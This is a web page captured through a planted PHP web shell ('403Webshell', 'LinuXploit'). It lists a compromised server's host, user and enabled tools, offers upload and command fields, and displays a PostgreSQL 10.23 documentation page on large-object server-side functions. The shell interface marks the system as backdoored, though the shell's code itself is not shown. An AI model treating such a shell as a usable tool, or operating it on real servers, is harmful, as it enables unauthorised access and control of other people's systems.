403Webshell
Server IP : 172.67.134.114  /  Your IP : 162.159.115.42
Web Server : Apache/2.4.37
System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64
User : ricodeal ( 1046)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/postgresql-docs/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/postgresql-docs/html/lo-funcs.html
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>34.4. Server-side Functions</title><link rel="stylesheet" type="text/css" href="stylesheet.css" /><link rev="made" href="[email protected]" /><meta name="generator" content="DocBook XSL Stylesheets Vsnapshot" /><link rel="prev" href="lo-interfaces.html" title="34.3. Client Interfaces" /><link rel="next" href="lo-examplesect.html" title="34.5. Example Program" /></head><body><div xmlns="http://www.w3.org/TR/xhtml1/transitional" class="navheader"><table width="100%" summary="Navigation header"><tr><th colspan="5" align="center">34.4. Server-side Functions</th></tr><tr><td width="10%" align="left"><a accesskey="p" href="lo-interfaces.html" title="34.3. Client Interfaces">Prev</a> </td><td width="10%" align="left"><a accesskey="u" href="largeobjects.html" title="Chapter 34. Large Objects">Up</a></td><th width="60%" align="center">Chapter 34. Large Objects</th><td width="10%" align="right"><a accesskey="h" href="index.html" title="PostgreSQL 10.23 Documentation">Home</a></td><td width="10%" align="right"> <a accesskey="n" href="lo-examplesect.html" title="34.5. Example Program">Next</a></td></tr></table><hr></hr></div><div class="sect1" id="LO-FUNCS"><div class="titlepage"><div><div><h2 class="title" style="clear: both">34.4. Server-side Functions</h2></div></div></div><p>   Server-side functions tailored for manipulating large objects from SQL are
   listed in <a class="xref" href="lo-funcs.html#LO-FUNCS-TABLE" title="Table 34.1. SQL-oriented Large Object Functions">Table 34.1</a>.
  </p><div class="table" id="LO-FUNCS-TABLE"><p class="title"><strong>Table 34.1. SQL-oriented Large Object Functions</strong></p><div class="table-contents"><table class="table" summary="SQL-oriented Large Object Functions" border="1"><colgroup><col /><col /><col /><col /><col /></colgroup><thead><tr><th>Function</th><th>Return Type</th><th>Description</th><th>Example</th><th>Result</th></tr></thead><tbody><tr><td>       <a id="id-1.7.4.9.3.2.2.1.1.1" class="indexterm"></a>
       <code class="literal"><code class="function">lo_from_bytea(<em class="parameter"><code>loid</code></em> <code class="type">oid</code>, <em class="parameter"><code>string</code></em> <code class="type">bytea</code>)</code></code>
      </td><td><code class="type">oid</code></td><td>       Create a large object and store data there, returning its OID.
       Pass <code class="literal">0</code> to have the system choose an OID.
      </td><td><code class="literal">lo_from_bytea(0, '\xffffff00')</code></td><td><code class="literal">24528</code></td></tr><tr><td>       <a id="id-1.7.4.9.3.2.2.2.1.1" class="indexterm"></a>
       <code class="literal"><code class="function">lo_put(<em class="parameter"><code>loid</code></em> <code class="type">oid</code>, <em class="parameter"><code>offset</code></em> <code class="type">bigint</code>, <em class="parameter"><code>str</code></em> <code class="type">bytea</code>)</code></code>
      </td><td><code class="type">void</code></td><td>       Write data at the given offset.
      </td><td><code class="literal">lo_put(24528, 1, '\xaa')</code></td><td> </td></tr><tr><td>       <a id="id-1.7.4.9.3.2.2.3.1.1" class="indexterm"></a>
       <code class="literal"><code class="function">lo_get(<em class="parameter"><code>loid</code></em> <code class="type">oid</code> [<span class="optional">, <em class="parameter"><code>from</code></em> <code class="type">bigint</code>, <em class="parameter"><code>for</code></em> <code class="type">int</code></span>])</code></code>
      </td><td><code class="type">bytea</code></td><td>       Extract contents or a substring thereof.
      </td><td><code class="literal">lo_get(24528, 0, 3)</code></td><td><code class="literal">\xffaaff</code></td></tr></tbody></table></div></div><br class="table-break" /><p>   There are additional server-side functions corresponding to each of the
   client-side functions described earlier; indeed, for the most part the
   client-side functions are simply interfaces to the equivalent server-side
   functions.  The ones just as convenient to call via SQL commands are
   <code class="function">lo_creat</code><a id="id-1.7.4.9.4.2" class="indexterm"></a>,
   <code class="function">lo_create</code>,
   <code class="function">lo_unlink</code><a id="id-1.7.4.9.4.5" class="indexterm"></a>,
   <code class="function">lo_import</code><a id="id-1.7.4.9.4.7" class="indexterm"></a>, and
   <code class="function">lo_export</code><a id="id-1.7.4.9.4.9" class="indexterm"></a>.
   Here are examples of their use:

</p><pre class="programlisting">CREATE TABLE image (
    name            text,
    raster          oid
);

SELECT lo_creat(-1);       -- returns OID of new, empty large object

SELECT lo_create(43213);   -- attempts to create large object with OID 43213

SELECT lo_unlink(173454);  -- deletes large object with OID 173454

INSERT INTO image (name, raster)
    VALUES ('beautiful image', lo_import('/etc/motd'));

INSERT INTO image (name, raster)  -- same as above, but specify OID to use
    VALUES ('beautiful image', lo_import('/etc/motd', 68583));

SELECT lo_export(image.raster, '/tmp/motd') FROM image
    WHERE name = 'beautiful image';</pre><p>
  </p><p>    The server-side <code class="function">lo_import</code> and
    <code class="function">lo_export</code> functions behave considerably differently
    from their client-side analogs.  These two functions read and write files
    in the server's file system, using the permissions of the database's
    owning user.  Therefore, their use is restricted to superusers.  In
    contrast, the client-side import and export functions read and write files
    in the client's file system, using the permissions of the client program.
    The client-side functions do not require superuser privilege.
  </p><p>    The functionality of <code class="function">lo_read</code> and
    <code class="function">lo_write</code> is also available via server-side calls,
    but the names of the server-side functions differ from the client side
    interfaces in that they do not contain underscores.  You must call
    these functions as <code class="function">loread</code> and <code class="function">lowrite</code>.
  </p></div><div xmlns="http://www.w3.org/TR/xhtml1/transitional" class="navfooter"><hr></hr><table width="100%" summary="Navigation footer"><tr><td width="40%" align="left"><a accesskey="p" href="lo-interfaces.html" title="34.3. Client Interfaces">Prev</a> </td><td width="20%" align="center"><a accesskey="u" href="largeobjects.html" title="Chapter 34. Large Objects">Up</a></td><td width="40%" align="right"> <a accesskey="n" href="lo-examplesect.html" title="34.5. Example Program">Next</a></td></tr><tr><td width="40%" align="left" valign="top">34.3. Client Interfaces </td><td width="20%" align="center"><a accesskey="h" href="index.html" title="PostgreSQL 10.23 Documentation">Home</a></td><td width="40%" align="right" valign="top"> 34.5. Example Program</td></tr></table></div></body></html>

Youez - 2016 - github.com/yon3zu
LinuXploit